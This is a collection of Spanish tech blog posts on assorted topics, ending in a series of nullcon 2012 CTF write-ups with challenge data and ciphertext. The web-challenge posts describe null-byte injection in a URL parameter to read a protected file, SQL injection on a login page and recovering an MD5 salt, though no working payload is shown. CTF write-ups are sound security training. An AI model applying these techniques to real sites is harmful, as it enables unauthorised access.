Los otros 128 ordenadores del laboratorio son clientes con varios formatos de rendimiento (bajo, medio y alto), todos en escritorios de 64 bits. Estos equipos oscilan entre sencillos Atom, pasando por los ya conocidos i3, i5 ó i7, hasta tablets ARM. Además entre estos equipos también se encuentran: servidores de contenido, servidores DNS, emuladores de redes (estos simulan por ejemplo latencia ó pérdida de paquetes entre otros casos), etc. Resumiendo, todo lo que puedes encontrar (tanto físico como posibles situaciones de error) en la infraestructura de Internet, pero en pequeño.

De momento el montaje es bastante espectacular, pero además queda un detalle. Antes de realizar cada prueba, cada ordenador recibe una copia totalmente nueva de Windows 7, Vista ó Windows 8. Si la prueba fallara por cualquier motivo, Windows se reinstala. También en el hardware, cualquier problema provoca que se tire el equipo y se cambie por otro totalmente nuevo (no quieren poner piezas nuevas ya que dicen pueden provocar errores en las pruebas).

¿Cómo funciona el test?, primero se crea un escenario con el contenido web, latencia de la red, configuración de los Internet Explorer y se instala Windows en cada equipo. Finalmente, sólo se repite una y otra vez abrir y cerrar páginas web, durante horas.

Si quieres más datos sobre el test, este es el ciclo completo:

(Click para ampliarlo)

Supongo que Google tendrá otro laboratorio como este para probar Chrome.

Visto en ExtremeTech.

Voy a llamarlo... mini Yo

Visto en Cubiclebot.

Después de una semana de locos, por fin me siento …

Hay un vídeo mucho mejor que este, pero lamentablemente no me dejan pegarlo aquí, tienes que verlo desde YouTube:

Regina Spektor.

Un juego de tetris programado en 140 bytes (más o …

¿Es posible escribir un programa que no sea más grande que un tweet de twitter, o sea, 140 bytes?. La página web 140byt.es dice que sí y lo ha demostrado programado un juego de Tetris que ocupa 140 bytes.

A eso se dedica dicha web, a recopilar programas en Javascript que no ocupen más que un SMS o un tweet.

Esta implementacion espectacular de un juego de Tetris en 140 bytes tiene sólo dos tipos de bloques (lo llaman "Tetris Binario") y no se puede rotar, pero en líneas generales se comporta como el juego original. Los bloques van cayendo desde la arriba de la pantalla y tienes que hacerlos encajar correctamente abajo.  Puedes probar desde este enlace la demo.

Más imágenes de Prometheus, nuevo trailer

Prometheus

Er docu der finde: 20 años de Sonic

19 años del mensaje de texto (Inforgrafía)

Source: Tatango SMS Marketing

Pauldotcom episodio 9

En este episodio Carlos Perez entrevista a Licenciada Julizzette Colon Bilbraut, abogada especializada en negocios online, marketing, propiedad intelectual, etc.

Puedes escuchar el podcast desde aquí.

Fuente

Los números de LibreOffice (Infografía)

Fuente

API de Windows Phone 7.5 Mango

Vaya curro se ha pegado el autor de esta entrada, donde ha publicado toda la API del nuevo Windows 7.5 Mango. Según el autor de la entrada, esta nueva versión contiene unas 1500 funciones nuevas. Dicha API está organizada de la siguiente forma:

• How was this article composed? Who is it meant for?
• Sensors API: overview, SensorBase and other supporting classes
• Sensor API: Gyroscope and Compass
• Sensor APIs: Combined Motion API
• Sensor APIs: changes to the Accelerometer API
• Camera API
• Background API: overview and BackgroundTask class
• Background API: Background Audio and streaming background Audio
• Background API: Data Transfer APIs
• Scheduling & Background API: Alarms, Reminders, Periodic Tasks and Resource Intensive Tasks
• Background API: Programmatic Toast Notifications
• Appointments and Contacts API: Overview
• Appointments
• Contacts
• New Launchers and Choosers
• Changes and additions to existing Launchers and Choosers
• Secondary Tiles and primary tile improvements
• Mixed XNA and Silverlight apps
• LINQ-to-SQL and Local Database
• Search Extensibility
• Sockets: IP and DNS Addresses
• Sockets: DNS Resolution
• Sockets: Socket class and SocketAsyncEventArgs
• Sockets: UDP
• Shell UI: New ProgressIndicator, and changes to ApplicationBar & SystemTray
• Bing Maps changes: Random XAML elements positioning
• Removing Pages from the backstack frame journal
• Device Information and Network Information
• WebBrowser control changes: HTML5 GeoLocation and NavigationFailed event
• Network Request Preference and Requirements
• Xbox Live: Render Xbox Live Avatars in XNA
• Xbox Live: Avatar Assets
• Custom Linq Providers
• Dynamically compiled Lambda Expressions and Reflection.Emit
• mscorib.Extensions: SIMD/ARM-NEON XNA support
• mscorlib.Extensions: Mutex
• mscorlib.Extensions: INotifyPropertyChanging
• mscorlib.Extensions: RSA Cryptography
• Silverlight 4: Base-Class Library changes in mscorlib assembly
• Silverlight 4: System.Windows Silverlight changes

Una referencia rápida para aquellos desarrolladores .Net con experiencia que quieran programar para este nuevo sistema para móviles.

Herramientas gratuitas de McAfee

No conocía yo esta colección de herramientas que McAfee mantiene y ofrece de forma totalmente gratuita. Dicha colección contiene más de 70 utilidades dividida en los siguientes apartados:

• Anti-Malware Tools
• Assessment Utilities
• Forensic Tools
• Foundstone SASS Tools
• Intrusion Detection Tools
• Scanning Tools
• Stress Testing Tools
• Spam Submission
• Utilities

Algunas pintan muy bien.

Tutoriales sobre Android de Vogella

En vogella.de podemos encontrar una serie de tutoriales sobre el desarrollo de aplicaciones en Android. Los tutoriales son muy completos y tienen muy buena pinta. Están dividido en dos secciones:

Introducción en general

• Android Development Tutorial 
• Android ListView and ListActivity - Tutorial 
• Android Intents - Tutorial 
• Android SQLite Database and ContentProvider - Tutorial 
• Android Service and BroadcastReceiver Tutorial
• Android Live Wallpaper - Tutorial 
• JSON in Android - Tutorial 
• Android Notifications - Tutorial 
• Android Threads, Handlers and AsyncTask - Tutorial 
• Android Homescreen Widgets- Tutorial
• Android HTTP Access - Tutorial 
• Android XML - Tutorial

Temas más específicos

• Android Sounds - Tutorial
• Location API and Google Maps in Android - Tutorial 
• Android Source Code - Notes
• Android Filesystem and SD Card- Tutorial 
• Android Gestures - Tutorial 
• Android Sensor - Tutorial 
• Android Internals
• Android Cloud to Device Messaging (C2DM) - Tutorial 
• Android Animations - Tutorial 
• Android Touch 
• Android Camera API - Tutorial 
• Android Calendar API - Tutorial 

Sin duda alguna a los marcadores :)

Presentaciones y vídeos de la ShmooCon 2012 …

Ya nos avisaron en SecurityByDefault de que Georgia Weidman estaba subiendo los vídeos de esta conferencia sobre seguridad celebrada en Washington DC.

Pero ya están tanto los vídeos como las presentaciones oficiales a disposición de todos. El listado de las mismas es:

• Keynote - Peter Gutmann - video
• Closing Plenary - Arlen, Marcus, and Potter - Doing InfoSec Right - video pt 1, pt 2
• Ben Agre - Cool New Crypto - video
• Brad Antonlewicz - Attacking Proximity Card Access Systems - video
• atlas of d00m - < GHz or Bust- video
• Corey Benninger and Max Sobell - Intro to Near Field Communication (NFC) Mobile Security - video
• Nicholas (aricon) Berthaume - Java Backdoors and Cross Framework Abuse - video
• Brad Bowers - Building MASINT Capabilities on a Hackers Budget - slides
• James Caroland and Greg Conti - Lessons of the Kobayashi Maru: Cheating is Fundamental - video
• Clark et al - Inside the OODA Loop - video
• Kristin Paget - Credit Card Fraud: The Contactless Generation - video slides
• Dan G et al - SNSCat - video slides and code
• Tony DeLaGrange and Kevin Johnson - Whack-a-Mobile - video
• Hanni Fakhoury - Destroying Evidence Before it's "Evidence" - video
• Rob Fuller - A textfiles Approach to DNS - video
• Marcia Hofmann - GPS Tracking - video
• Marcia Hofmann and Jerome Radcliffe - Encryption, Passwords, and Data Security - video
• Keith Howell - All Your Codes Belong to Me! - video slides
• Toby Kohlenberg - A New Model for Enterprise Defense - video slides
• Xeno Kovah - Training Security Nerds, Faster, Better, Stronger - video
• Larsen et al - Malware as Art: Building and Animating Malware Network Graphs - video
• Tim Maletic and Chris Pogue - OPFOR Works Both Ways - video
• Branson Matheson - TTL of a Penetration - slides
• Joshua Marpet and Vlad Gostom - 37mm Aerial Surveillance - video
• Brendan O'Connor - Sacrificial Computing for Land and Sky - video slides
• Jeong Wook Oh - AVM Inception - How we can use AVM Instrumenting in a beneficial way - video slides
• Meredith Patterson and Sergey Bratus - The Science of Insecurity - video
• Danny Quist - Malware Visualization in 3D - video slides
• Matthew Rowley - A Blackhat's Tool Chest - video slides
• Char Sample - Soft Markers in Attack Attribution - video slides
• David Schuetz - Inside Apple's MDM Black Box - video
• Curt Shaffer and Chris Cuevas - Raising the White Flag - video
• The Shmoo Group - 0wn the Con - video
• Skunkworks - And That's How I Didn't Lose an Eye: Emergency Data Destruction - video
• Joe Sylve - Android Mind Reading: Memory Acquisition and Analysis DMD and Volatility - video slides
• Jordan Wiens - Corrupting the Youth - video slides

Enlace oficial

El primer juego para PC como aplicación para …

El que es considerado el primer juego para PC (IBM compatible) y que se empaquetaba dentro del sistema operativo de Microsoft MS-DOS en sus versiones iniciales está disponible en iTunes en forma de aplicación para iPhone, iPad y iPod Touch.

El juego en cuestión se llama Donkey, aunque también se conoce como DONKEY.BAS (nombre del fichero).

El juego fue creado por el mismo Bill Gates y Neil Konzen, como prueba de concepto, para IBM, del “potencial” del compilador de Basic que Microsoft había creado. Según cuenta la historia, el juego fue creado a las 4 de lamañana en una pequeña habitación cerrada a cal y canto, por órdenes de IBM, dónde se encontraba un prototipo de un IBM PC, en el que dicha compañía estaba trabajando.

Juegos de Mesa gratuitos preparados para imprimir …

(Juego de cartas de BattleStar Galactica Express)

Perfectos para estos domingos por la tarde de frío, en esta web tienes disponibles cientos de juegos de mesa completos (en inglés) creados por y para jugadores. No son juegos comerciales escaneados, están creados por jugadores de todo el mundo y puedes encontrar desde juegos de cartas (como este de Dr. Who o el BSG que encabeza este post) hasta complejos juegos de estrategia (como este Battle Arena). Posiblemente muchos de estos juegos sean incluso mejores que algunos comerciales.

Domingo por la mañana, Sr. Chinarro "El Rayo …

httpv://youtu.be/T4IF3hXdXxM

Mi trovador favorito (que vimos en directo el viernes pasado en Valencia en un espectacular concierto) y una de sus grandes canciones:

(Sr. Chinarro el pasado viernes día 3 en la Sala La 3 de Valencia)

El Rayo Verde, del álbum "El Fuego Amigo". Su nuevo disco "Menos Samba" saldrá el 12 de Marzo.

Web oficial del Sr. Chinarro.

Letra (desde este enlace):

Tu niña quiere un estuche de colores, que le falta el verde. ¿Qué rayos, qué querrá pintar? ¿Qué querrá pintar?

Vídeos de la Source Boston 2011

Esta es la lista de vídeos de la SOURCE celebrada en Boston en abril del año pasado. Un poco tarde, pero han sido publicados recientemente. Algunas de las charlas tienen muy buena pinta:

• Secure Development Lifecycle In The Mobile World
• What The Post-PC Era Means For Enterprise Security
• When Prevention Fails, The Tough Get Responding
• Tokenization
• Bringing Sexy Back, Defensive Measures That Actu…
• On The Use Of Prediction Markets In Information …
• Building Security Integrity Across The Security …
• Grey Hat Ruby
• Cyber Crime War Connecting The Dots
• Among The Blind The Squinter Rules
• James Beeson Keynote
• Improving Application Security Vulnerability Res…
• Streamline Incident Types For Efficient Incident…
• Network Stream Hacking With Mallory
• Attacking Oracle Web Applications With Metasploit
• Adam Meyers - Reversing Obfuscation
• Reverse Engineering Flash Files With SWFREtools
• Higher Education’s Ability To Conduct Relevant R…
• The Real Cost Of Software Remediation
• Dino Dai Zovi Keynote
• Jack Of All Formats
• Nailing Down Security Regulation
• Security Convergence
• Fuel For Pwnage
• Secure Development For iOS
• Hugh Njemanze Keynote
• PTES
• Speed Debates
• Adding Another Level Of Hell To Reverse Engineer…
• You Got That SIEM, Now What Do You Do
• Fireshark v2
• How To Isotope Tag A Ghost
• Building Bridges, Forcing Hackers And Business T…
• Tinker Tailor Soldier A-GPS
• Further Down The EXIF Hole
• Security Toolbox
• Getting Stuff Done
• Will We Ever Be Secure
• The 2011 Verizon Data Breach Investigation Report
• James Beeson - Keynote

Fuente (aquí también puedes encontrar las presentaciones)

Presentaciones de la DeepSec 2011

La conferencia sobre seguridad DeepSec 2011 se celebró el pasado 15-18 de noviembre en Viena. Esta son las presentaciones que se dieron:

• DeepSec_2011_Adrian_Wiesmann_-_compliance_can_make_sense.pdf
• DeepSec_2011_Alan_Kakareka_-_Insight_Into_Russian_Black_Market.pdf
• DeepSec_2011_Arron_Finnon_-_Reassemble_or_GTFO!_-_IDS_Evasion_Strategies.pdf
• DeepSec_2011_Bogdan_Alecu_-_SMS_Fuzzing-SIM_Toolkit_Attack.pdf
• DeepSec_2011_Jagadesh_Chandraiah_-_ .pdf
• DeepSec_2011_Khash_Kiani_-_Identity X.0 - Securing the Insecure.pdf
• DeepSec_2011_Matthias_Luft_-_Do_They_Deliver_-_Practical_Security_and_Load_Testing_of_Cloud_Service_Providers.pdf
• DeepSec_2011_Michele_Orru_-_Ground BeEF_- Cutting,_devouring_and_digesting_the_legs_off_a_browser.pdf
• DeepSec_2011_Mikhail_Utin_-_US experience_-_laws,_compliance_an_real_life_-_when_everything_seems_right_but_does_not_work.pdf
• DeepSec_2011_Mitja Kolsek_-_How_to_rob_an_online_bank_and_get_away_with_it.pdf
• DeepSec_2011_Morgan_Marquis-Boire_-_Armageddon Redux_-_The_Changing_Face_of_the_Infocalypse.pdf
• DeepSec_2011_Peter_Wolkerstorfer_-_Human_Factors_Engineering_for_IT_Security.pdf
• DeepSec_2011_Sourabh_Satish_-_Behavioral_Security.pdf
• DeepSec_2011_Tam_Hanna_-_Attack_vectors_on_mobile_devices.pdf
• DeepSec_2011_Toby_Foster_-_Solving_Social_Engineering_Attacks.pdf
• DeepSec_2011_Toralv_Dirro_-_Malware_Trends_2011.pdf
• DeepSec_2011_Victor_Julien_-_Advances_in_IDS_and_Suricata.pdf
• DeepSec_2011_laurent_weber-extending_Scapy_by_a_GSM_interface.pdf
• Deepsec_2011_Alex_Plaskett_-_Windows_Pwn_7_OEM.pdf
• Deepsec_2011_Duncan_Campbell_-_How_Terrorists_Encrypt.pdf
• Deepsec_2011_Fernando_Gont_-_Results_of_a_Security_Assessment_of_IPv6.pdf
• Deepsec_2011_Mariano_Nunez_Di_Croce_-_Your crown jewels online_-_Further_Attacks_to_SAP_Web_Applications.pdf
• Deepsec_2011_Stefan_Schumacher_-_On-Cyber-Peace.pdf

Fuente

Tutoriales sobre el análisis de malware por Dr. Fu

Para los que os mováis por el mundo del análisis del malware, el blog sobre seguridad de Dr. Fu es una gran fuente de información sobre esta materia. En el mismo podemos encontrar una serie de entradas muy didácticas sobre el análisis del malware. Hasta ahora tiene publicados 16 tutoriales:

1. VM Based Analysis Platform
2. Ring3 Debugging
3. int2d anti-debugging (Part I)
4. Int2dh Anti-Debugging (Part II)
5. Int2dh Anti-Debugging (Part III)
6. Analyzing Self-Extraction and Decoding Functions
7. Exploring Kernel Data Structure
8. PE Header and Export Table
9. Encoded Export Table
10. Tricks for Confusing Static Analysis Tools
11. Starling Technique and Hijacking Kernel System Calls using Hardware Breakpoints
12. Debug the Debugger - Fix Module Information and UDD File
13. Tracing DLL Entry Point
14. Retrieve Self-Decoding Key
15. Injecting Thread into a Running Process
16. Malware Analysis Tutorial 16: Return Oriented Programming (Return to LIBC) Attack
17. Infecting Driver Files (Part I: Randomly Select a System Module)
18. Infecting Driver Files (Part II: Simple Infection)
19. Anatomy of Infected Driver
20. Kernel Debugging - Intercepting Driver Loading
21. Hijack Disk Driver
22. IRP Handler and Infected Disk Driver
23. Tracing Kernel Data Using Data Breakpoints
24. Tracing Malicious TDI Network Behaviors of Max++
25. Deferred Procedure Call (DPC) and TCP Connection
26. Rootkit Configuration
27. Stealthy Loading of Malicious DLL
28. Break Max++ Rootkit Hidden Drive Protection
29. Stealthy Library Loading II (Using Self-Modifying APC)
30. Self-Overwriting COM Loading for Remote Loading DLL
31. Exposing Hidden Control Flow
32. Exploration of Botnet Client
33. Evaluation of Automated Malware Analysis System I (Anubis)
34. Evaluation of Automated Malware Analysis Tools CWSandBox, PeID, and Other Unpacking Tools

Sin duda alguna un gran blog que debes seguir si te interesa este tema.

Como crear una infografía (Infografía)

Fuente original

La Apple Store de Playmobil (real, la venden en …

Esta mañana he alucinado al ver la entrada de nuestros amigos de Seguridad Apple, hablando sobre este juguete que simula una Apple Store con todos sus detalles.

Los iPad, iPod, MacBook, incluso tiene una sala para las keynotes con un click que se parece a Steve Jobs (con soporte para usar tu iPhone como pantalla de presentaciones). No faltan el Genius Bar y lo mejor de todo, hay un kit extra para montar tu propia COLA DE ESPERA (WTF!) en la cual el primero de todos es el gran Wozniak montando en su Segway.

Dos pósters originales de la NASA, para …

Genial póster a todo color y a una buena resolución (4479 x 1424) donde aparecen todos los datos (órbitas, despegues, aterrizajes, etc) creado por la NASA en 1967 sobre el viaje a la Luna del programa Apolo .

Puedes descargarlo desde aquí o directamente click en la imagen para verlo a mayor resolución.

El otro es un póster (a buena resolución para imprimirlo, 2058 x 3297) del Saturno V con todos sus detalles, realizado por Boeing y fecha 1958. Puedes descargarlo desde aquí o también pulsando en la imagen.

Er docu der finde: La ciencia de la magia

Parte 1/4

Parte 2/4

Parte 3/4

Parte 4/4

Trailer de "Extraterrestre", de Nacho Vigalondo

Muy buena pinta.

Más información aquí.

Descarga una copia de The Pirate Bay con un script …

(Parte del contenido del fichero descargado)

The Pirate Bay no alojará más ficheros.torrent en sus servidores.  Usaran ahora los magnet torrents (enlaces magnéticos), ficheros torrent que contienen más información sobre la descarga y no necesitan servidores para comenzarla (aquí tienes más información sobre su estructura).

Usando este script en Perl, un usario de The Pirate Bay llamado "allisfine", ha creado este fichero que puedes descargar con todos los torrent que existen en dicha web. En total,  1.643.194. El tamaño del fichero es de 90MB pero al descomprimirlo se queda en 164MB.

Así eran algunas de las páginas web más conocidas …

 

Google

 

YouTube

 

Facebook

 

Amazon

 

Twitter

 

The New York Times

 

MySpace

 

Yahoo

 

Visto en Mashable.

Iron Sky, trailer oficial

Iron Sky , parece que vuelven los Nazis, ocultos en la cara oculta de la Luna, 70 años después ¿quién puede resistirse a este argumento?

ClubHack número 25

Ya está disponible el número de febrero de la revista sobre seguridad ClubHack. En este número podemos encontrar el siguiente contenido:

• 0x00 Tech Gyan - Exploiting Remote System without Being Online
• 0x01 Tool Gyan - Cain and Abel: The Black Art of ARP Poisoning
• 0x02 Mom's Guide - Firewall 101
• 0x03 Legal Gyan - Liability of Intermediaries under the Information Technology Act
• 0x04 Matriux Vibhag - Introduction to Skipfish
• 0x05 Poster - "Secured Network"

Puedes descargar el PDF desde aquí.

Más información en su web.

Pauldotcom episodio 8

El tío más malo del planeta Tierra es entrevistado por Carlos Perez sobre la nueva Foca 3.0 y una nueva Foca orientada al análisis forense.

Aquí tienes el enlace al podcast

Fuente

Construyendo un robot con LEGO Mindstorms NXT 2.0 …

httpv://youtu.be/w3f-WyDqOUw

Este proyecto es de 2010 pero ahora que ya tengo mi kit }:-) es cuando le he prestado atención. Es un robot capaz de resolver el cubo de Rubik y sólo necesitas un kit de LEGO Mindstorm 2.0. No es necesario cambiar o colorear las pegatinas del cubo (algunas otras soluciones lo requerían), esta versión reconoce perfectamente los colores del cubo original. El resultado final es realmente espectacular, ya que no requiere ni webcam y ni siquiera conexión al ordenador (aunque también dispone una forma más rápida para resolverlo con conexión al ordenador usando este programa en Java).

CTF #nullcon 2012: Análisis Forense 2

En este reto nos dan un documento word (Passport_Number.doc) y nos piden que encontremos un número de pasaporte que anda oculto dentro de dicho documento.

tuxotron@tuxotron-laptop:~/temp/nullcon$ file Passport_Number.doc 
Passport_Number.doc: CDF V2 Document, Little Endian, Os: Windows, Version 6.1, Code page: 1252, Author: Me, Template: Normal.dotm, Last Saved By: Me, Revision Number: 2, Name of Creating Application: Microsoft Office Word, Create Time/Date: Sat Dec 31 18:38:00 2011, Last Saved Time/Date: Sat Dec 31 18:38:00 2011, Number of Pages: 1, Number of Words: 4, Number of Characters: 27, Security: 0

El comando file nos dice que es un fichero Microsoft Word. Cuando lo abrimos nos encontramos con esto:

Antes y después del almuerzo ...

Antes …

Y después …

Increíble, siempre he pensado que estas fotos eran de la construcción del Empire State Building, pero realmente son de la construcción del Rockefeller Center.

Por cierto, esta foto la hice este verano en nuestra visita a Nueva York, para que podáis comparar la perspectiva:

(Click para ampliarla)

El final alternativo perfecto para "El Retorno del …

Simplemente, genial.

Visto en ZonaFandom.

 

"We Don't Even Shake Hands", 8mm sky, para este …

8mm sky

CTF #nullcon 2012: Análisis Forense 1

En el primer nivel de esta categoría lo que nos dan es un archivo RAR y nos piden encontrar el código oculto.

Cuando descomprimimos el archivo, nos encontramos con un fichero .wav. Lo abrimos con un reproductor de audio y escuchamos música, pero de vez en cuando por uno de los canales se escucha un pequeño corte.

Echemos mano de Audacity y abramos dicho fichero. Nos encontramos con:

Donkey Tron

Visto en it8bit

Un poco de lectura técnica para el fin de semana

Nada como empezar el fin de semana viendo Er docu der finde y un poco de lectura técnica ;)

• Introduction to Information Retrieval
• How to Think About Algorithms (PDF)
• Natural Language Processing with Python
• Lightweight Cryptographic Algorithm (PDF)
• Developing Time-Oriented Database Applications in SQL (PDF)
• The Little Redis Book
• Graphbook - A book on algorithmic graph theory
• Manual Testing Help
• Bayesian Reasoning and Machine Learning
• Good Relationships

Solucionando algunos problemas de memoria en …

(Imágen obtenida de aquí)

Una aclaración, un sistema operativo de 32-bit, en principio, sólo puede acceder a una memoria de 4GB: 2^32=4,3 GB. Sin embargo existe una característica que lleva implementándose desde 1995 que es la llamada PAE (Physical Address Extension) además de incluirse en los microprocesadores x86 una ampliación de las líneas de direcciones de 32 a 36 bits. Esto, en teoría, incrementaría la cantidad de memoria accesible de 4 a 64GB (usando por ejemplo las page tables). Linux puede utilizar esta función desde el Kernel 2.3.23, en cambio en Windows tenemos que hacer algunas operaciones para poder activarlo (aunque al menos en Windows XP, Vista y Windows 7, nunca podrás pasar el límite físico de 4GB, pero sí podrás aprovecharla más y te reconocerá los 4GB íntegros).

Er docu der finde: Sobrevivir en el Espacio

Mini curso gratuito sobre desarrollo de …

Desde la Universidad de Carnegie Mellon, podemos acceder a un curso audiovisual totalmente gratuito sobre una introducción al desarrollo de aplicaciones para iPad y está formado por tres clases.

El curso está alojado en iTunes y este es el índice:

• Lecture 1: Introduction
• Lecture 2: Objective-C
• Lecture 3: InfoViz with Maps / MVC & Interface Builder

CTF #nullcon 2012: Crypto 2

En esta prueba nos daban un enlace ( http://www.nullcon.net//challenge/data/shhhkoinahihai ). Cuando abrías dicho enlace no se veía nada, todo blanco y lo mismo si miramos el código fuente de la página.

Nos bajamos el fichero, lo abrimos con un editor de textos y nada, todo blanco, pero sí que te podías mover por el contenido del fichero. Pero si lo abrimos con un editor hexadecimal:

Vemos que lo que contiene son el carácter 20h (espacio) y el 09h (tabulador). Mi primera idea fue convertir los tabuladores en guiones y los espacios en puntos, para así tener algún tipo de código morse, pero no me llevó a ningún sitio.

CTF #nullcon 2012: Crypto 1

En la primera prueba sobre criptografía nos dan una cadena de texto cifrada, cuyo texto en claro en nuestro flag.

El texto era el siguiente:

Oexjwok -333 lauiljt bwxylexk hilyruik krbf lk yfi frzlx jekbeqaexi bwzqwxixy. ofiui yfi QB blx kixj lx iaibyueb kfwbs yfuwrgf yfi sitcwluj eh yfi frzlx jwik kwziyfexg yfly jwik xwy qailki Oexjwok, 2 Ceaa Glyik

Para esta prueba, al menos cuando yo empecé a hacerla, teníamos una pista: poiuy y además si miramos el código de la página, vemos:

CTF #nullcon 2012: Ingeniería inversa 1

Esta prueba consistía pues en lo típico, nos dan un binario y busca el flag. :/

Voy a intentar explicar lo que hice, pero como no estoy seguro si se va a entender muy bien, ya verás porque lo digo, también he grabado un pequeño vídeo de demostración.

El binario que nos dan después de ejecutar el prólogo (file y strings :) ), vemos que es un binario de Windows. Cuando lo ejecutamos, vemos que abre al menú de inicio, run (ejecutar) y escribe: wmplayer.exe y lo ejecuta, es decir, que también manda la tecla intro (enter).

Juego de Tronos, trailer segunda temporada

Coincidiendo con la ola de frío, Winter is Coming ;)

Estreno el 1 de Abril.

In Real Life, mini documental sobre la adicción a …

La adicción a WoW es un hecho como ya habréis leído en nuestro blog. Este documental de sólo 7 minutos habla de Anthony Rosner, un jugador de WoW que decidió que ya era momento de volver a vivir en el mundo real. Nos cuenta su vida y amores dentro del juego y como cada vez que casi estaba a punto de dejarlo, aparecía una nueva expansión que te volvía a enganchar.

CTF #nullcon 2012: Web 5

En la quinta y última prueba de esta categoría nos encontramos con:

Do You Have What IT Takes to Break into the World’s Most Secure Login System?

El sistema más seguro del Login del mundo. Cuando vamos a la página de Login nos encontramos con:

Y aunque en esta prueba no nos dan ninguna pista en el código de la página, si que nos la dan en el nombre de la “empresa” que creó esta pantalla de Login: MERASEQUEL. Automáticamente asumí de que se trataba de una inyección de SQL.

CTF #nullcon 2012: Web 4

En esta prueba hice el primo por un buen rato. La pregunta que nos hacían:

Can You Get Me all the Data?

Y nos daban un par de enlaces 2007 ( http://www.nullcon.net//challenge/wlevel-4-data.asp?input=2007 ) y 2002 ( http://www.nullcon.net//challenge/wlevel-4-data.asp?input=2002 ).

Si pulsamos sobre el 2007 nos aparece:

DR. A.P.J. Abdul Kalam 25 July 2002 TO 25 July 2007

Volvemos atrás y pulsamos sobre 2002

Shri K. R. Narayanan 25 July 1997 TO 25 July 2002

Libro "Fraude online. Abierto 24 horas", colección …

Me lo entregó en mano el Maligno el jueves pasado y ya me lo leído enterito, aunque este es uno de esos libros que no puedes leer una sola vez (hay demasiada  información que asimilar en una sola lectura).

Cuando vimos a Mikel Gastesi y Dani Creus (de S21sec) en su charla en el pasado Asegúr@IT Camp (aquí puedes ver las diapositivas) ya teníamos fichado el libro "Fraude online. Abierto 24 horas". La charla nos abrió los ojos y nos "acojonó" un poco a medida que iban explicando la infraestructura global que existe alrededor del malware y sus herramientas. Eso sin hablar de lo sencillo que resulta alquilar servicios, para entre otras cosas, realizar ataques DoS a diestro y siniestro por una mísera cantidad de dinero o del tremendo negocio que existe con las tarjetas de créditos y como fluyen esos números por todas las cuentas de todas las mafias detrás del malware o el fraude online.

CTF #nullcon 2012: Web 3

En este nivel, además de una página para introducir el flag, se nos presentan otras dos páginas más: un para hacer login y la otra para registrarte.

En la página de login, se nos pide lo típico un nombre de usuario y una contraseña. Como no tenemos ninguna cuenta, vayamos a crearnos una.

Una vez introducimos la información y nos registramos, como de costumbre (esto lo hacía cada vez que ejecutaba alguna acción) miramos el código de la página web y nos encontramos con esto:

CTF #nullcon 2012: Web 2

En la segunda prueba nos encontramos con esto:

Can you redirect ME to hackim.null.co.in?

Donde ME apunta a http://www.nullcon.net//challenge/wlevel-2-proc.asp?page=index.asp

Como de costumbre y mirando el código fuente de la página, nos encontramos con una pista:

Aunque la pista en si no me decía mucho, después de buscar en Google algo como: web security 2616, salían muchas referencias al RFC 2616. ¿ok? Tampoco me daba mucha información. Luego por el irc daban la pista: split 2616. Eso es algo más.

CTF #nullcon 2012: Web 1

Bueno empecemos con las pruebas Web. La primera prueba con la que nos encontramos nos pregunta:

Can you view the bytes in password.asp from Me?

Donde, Me es un enalace a http://www.nullcon.net//challenge/wlevel-1-proc.asp?input=test.txt .

Después de jugar un rato con el parámetro input, por el irc dieron una pista a la que hacía referencia al nombre que organizaba el evento: nullcon. Así que el resto de mis pruebas las basé en la inyección del carácter nulo (%00) en el url. Y después de poner dicho carácter en varios lugares, dí con esta url que nos pasaba de nivel:

CTF #nullcon 2012: Programación 5

Bueno llegamos a la quinta prueba de la categoría y que como veremos no tiene nada de programación, a menos que te quieras crear tu propio crackeador de MD5.

La prueba consistía en lo siguiente: tenemos una página dónde introducimos cualquier texto y nos devolvía un hash. Si miramos el código fuente de dicha página una vez nos ha dado el hash, encontramos una pista:

Es decir, password en este case es el texto que nosotros introducimos, a éste se le añade un texto que no conocemos (salt) y se calcula el MD5. Nuestro objetivo es averiguar dicha salt.

CTF #nullcon 2012: Programación 4

En este reto nos encontramos con un problema de sustitución.

Estos son los datos que se nos dan:

Ciphertext:
06 15 21 20 05 05 14 00 14 09 14 05 00 06 15 21 20 05 05 14 00 06 09 22 05 00 20 23 05 14 20 25 00 06 09 22 05 00 06 09 22 05 00 06 15 21 20 05 05 14 00 26 05 18 15 00 19 09 24 00 14 09 14 05 00 20 23 05 14 20 25 20 23 15 00 06 09 22 05 00 26 05 18 15 00 19 09 24 00 06 09 06 20 05 05 14 00 20 23 05 14 20 25 15 14 05 00 05 09 07 20 05 05 14 00 26 05 18 15 00 20 23 05 14 20 25 00 20 23 05 14 20 25 20 08 18 05 05 00 06 09 22 05 00 06 15 21 20 05 05 14 00 20 23 05 14 20 25 00 20 23 05 14 20 25 06 09 22 05 00 06 09 06 20 05 05 14 00 06 15 21 20 05 05 14 00 06 09 22 05 00 26 05 18 15 00 20 23 05 14 20 25 00 20 23 05 14 20 25 20 08 18 05 05 00 06 09 22 05 00 20 23 05 12 22 05 00 20 23 05 14 20 25 20 23 15 00 06 09 22 05 00 26 05 18 15 00 19 09 24 00 14 09 14 05 00 19 09 24 00 20 23 05 14 20 25 00 06 09 22 05 00 06 09 22 05 00 06 15 21 20 05 05 14 00 26 05 18 15 00 20 23 05 14 20 25 00 20 23 05 14 20 25 20 08 18 05 05 00 06 09 22 05 00 06 15 21 20 05 05 14 00 20 23 05 14 20 25 00 20 23 05 14 20 25 06 09 22 05 00 06 09 06 20 05 05 14 00 06 15 21 20 05 05 14 00 06 09 22 05 00 26 05 18 15 00 06 15 21 20 05 05 14 00 14 09 14 05 00 06 15 21 20 05 05 14 00 06 09 22 05 00 20 23 05 14 20 25 00 06 09 22 05 00 06 09 22 05 00 06 15 21 20 05 05 14 00 26 05 18 15 00 20 23 05 14 20 25 00 20 23 05 14 20 25 20 08 18 05 05 00 06 09 22 05 00 20 23 05 12 22 05 00 20 23 05 14 20 25 20 23 15 00 06 09 22 05 00 26 05 18 15 00 20 23 05 14 20 25 00 20 23 05 14 20 25 20 08 18 05 05 00 06 09 22 05 00 06 15 21 20 05 05 14 00 20 23 05 14 20 25 00 20 23 05 14 20 25 06 09 22 05 00 19 09 24 00 14 09 14 05 00 20 23 05 14 20 25 20 23 15 00 06 09 22 05 00 26 05 18 15 00 20 23 05 14 20 25 19 09 24 00 06 09 22 05 00 05 09 07 20 05 05 14 00 06 09 06 20 05 05 14 00 26 05 18 15 00 19 09 24 00 14 09 14 05 00 20 23 05 14 20 25 20 23 15 00 06 09 22 05 00 26 05 18 15 00 06 15 21 20 05 05 14 00 14 09 14 05 00 